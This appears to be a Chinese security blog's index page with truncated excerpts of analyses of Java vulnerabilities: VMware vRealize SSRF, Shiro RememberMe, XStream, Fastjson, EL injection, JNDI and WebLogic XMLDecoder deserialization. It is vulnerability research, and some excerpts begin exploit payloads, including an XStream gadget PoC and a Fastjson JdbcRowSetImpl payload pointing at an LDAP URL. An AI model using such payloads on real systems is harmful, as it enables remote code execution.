CVE-2021-21975&CVE-2021-21983 VMware vRealize SSRF、任意文件上传漏洞分析
该文章本人首发在360 cert官网:https://cert.360.cn/report/detail?id=1dfca2f7080257c33272167afbf4e276
CVE-2021-21975漏洞复现
漏洞分析位于casa/WEB-INF/classes/com/vmware/ops/casa/api/ClusterDefinitionController.class有一个路由/nodes/thumbprints
这里接收POST传入的值作为address传入getNodesThumbprints方法,跟进ClusterDefinitionService#getNodesThumbprints
这里实例化了一个HttpMapFunction类并调用了execute方法,可以看到返回的结果保存在response中,后面就是对返回结果的处理,从变量名和后面操作的行为就可以猜测execute方法里面就是发出请求也就是造成ssrf的地方,跟进看一看
这里的hosts也就是我们传入的address转为数组的形式,接着将hosts赋值给var4,然后进入for循环遍历host通 ...
CVE-2016-4437 Shiro Rememberme反序列化漏洞
漏洞简介https://issues.apache.org/jira/browse/SHIRO-550
在shirt <= 1.2.24版本中,如果用户选择了Remember Me,那么shiro就会进行如下操作
1234获取Remember Me cookie值Base64解码AES解码反序列化
而我们知道Remember cookie的生成方式是
1234序列化AES加密Base64加密生成Remember Me cookie值
因为AES是对称密码,密钥可用于加密和解密而密钥是硬编码在文件中的,所以就可导致利用密钥将一个恶意对象序列化后加密。选择Remember Me后解密并反序列化时就会触发恶意代码
环境搭建首先下载存在漏洞版本的shiro
1234git clone https://github.com/apache/shiro.gitcd shirogit checkout shiro-root-1.2.4cd ./shiro/samples/web
然后修改pom.xml,在里面添加
12345678910111213<dependencies ...
CVE-2020-26217&CVE-2020-26259 Xstream远程代码执行任意文件删除漏洞分析
影响范围Xstream <= 1.4.14
CVE-2020-26217漏洞复现
poc:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.X ...
Java安全之RMI反序列化
什么是RMIRMI是远程方法调用的简称,能够帮助我们查找并执行远程对象的方法。通俗地说,远程调用就象将一个class放在A机器上,然后在B机器中调用这个class的方法。
RMI(Remote Method Invocation),为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。
Java RMI(Java Remote Method Invocation),是Java编程语言里一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
从客户端-服务器模型来看,客户端程序直接调用服务端,两者之间是通过JRMP( Java Remote Method Protocol)协议通信,这个协议类似于HTTP协议,规定了客户端和服务端通信要满足的规范。
在RMI中对象是通过序列化方式进行编码传输的
RMI分为三个主 ...
Fastjson 1.2.25-1.2.47反序列化漏洞分析
checkAutoType补丁分析在Fastjson1.2.25中使用了checkAutoType来修复1.2.22-1.2.24中的漏洞,其中有个autoTypeSupport默认为False。当autoTypeSupport为False时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。
补丁绕过(需要开启AutoTypeSupport)这里需要使用如下代码开启AutoTypeSupport
1ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
1.2.25-1.2.41补丁绕过漏洞复现payload:
1{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNa ...
Fastjson 1.2.22-1.2.24反序列化漏洞分析
Fastjson简介Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
项目地址:https://github.com/alibaba/fastjson
Fastjson序列化与反序列化序列化Student.java
12345678910111213141516171819202122232425262728public class Student { private String name; private int age; public Student() { System.out.println("构造函数"); } public String getName() { System.out.println("getName&q ...
EL表达式注入漏洞
EL表达式简介EL(Expression Language) 是为了使JSP写起来更加简单。它提供了在 JSP 中简化表达式的方法,让JSP的代码更加简化。
EL表达式主要功能如下:
获取数据:EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组);
执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如${user==null};
获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据;
调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法;
基本语法EL表达式语法在JSP中访问模型对象是通过EL表达式的语法来表达。所有EL表达式的格式都是以${}表示。例如,${ user ...
JNDI注入高版本绕过
JDNI利用方式的修复之路RMI Remote Object Payload(限制多,不常使用)攻击者实现一个RMI恶意远程对象并绑定到RMI Registry上,编译后的RMI远程对象类可以放在HTTP/FTP/SMB等服务器上,供受害者的RMI客户端远程加载。RMI客户端在 lookup() 的过程中,会先尝试在本地CLASSPATH中去获取对应的Stub类的定义,并从本地加载,然而如果在本地无法找到,RMI客户端则会向远程Codebase去获取攻击者指定的恶意对象,这种方式将会受到 useCodebaseOnly 的限制。利用条件如下:
RMI客户端的上下文环境允许访问远程Codebase。
属性 java.rmi.server.useCodebaseOnly 的值必需为false。
从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这 ...
Java安全之RMI反序列化
JDNIJNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源),JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
Naming Service 命名服务:
命名服务将名称和对象进行关联,提供通过名称找到对象的操作。
Directory Service 目录服务:
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。
Reference 引用:
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。
JNDI使用案例JNDI代码格式如下
123String jndiName= ...;//指定需要查找name名称Context context = ...
WebLogic-XMLDecoder反序列化漏洞分析
XMLEncoder&XMLDecoderXMLDecoder/XMLEncoder 是在JDK1.4版中添加的 XML 格式序列化持久性方案,使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。
XMLEncoder例子代码如下
123456789101112131415package ghtwf01.demo;import javax.swing.*;import java.beans.XMLEncoder;import java.io.BufferedOutputStream;import java.io.FileNotFoundException;import java.io.FileOutputStream;public class XmlEncoder { public static void main(String[] args) throws FileNotFoundException { ...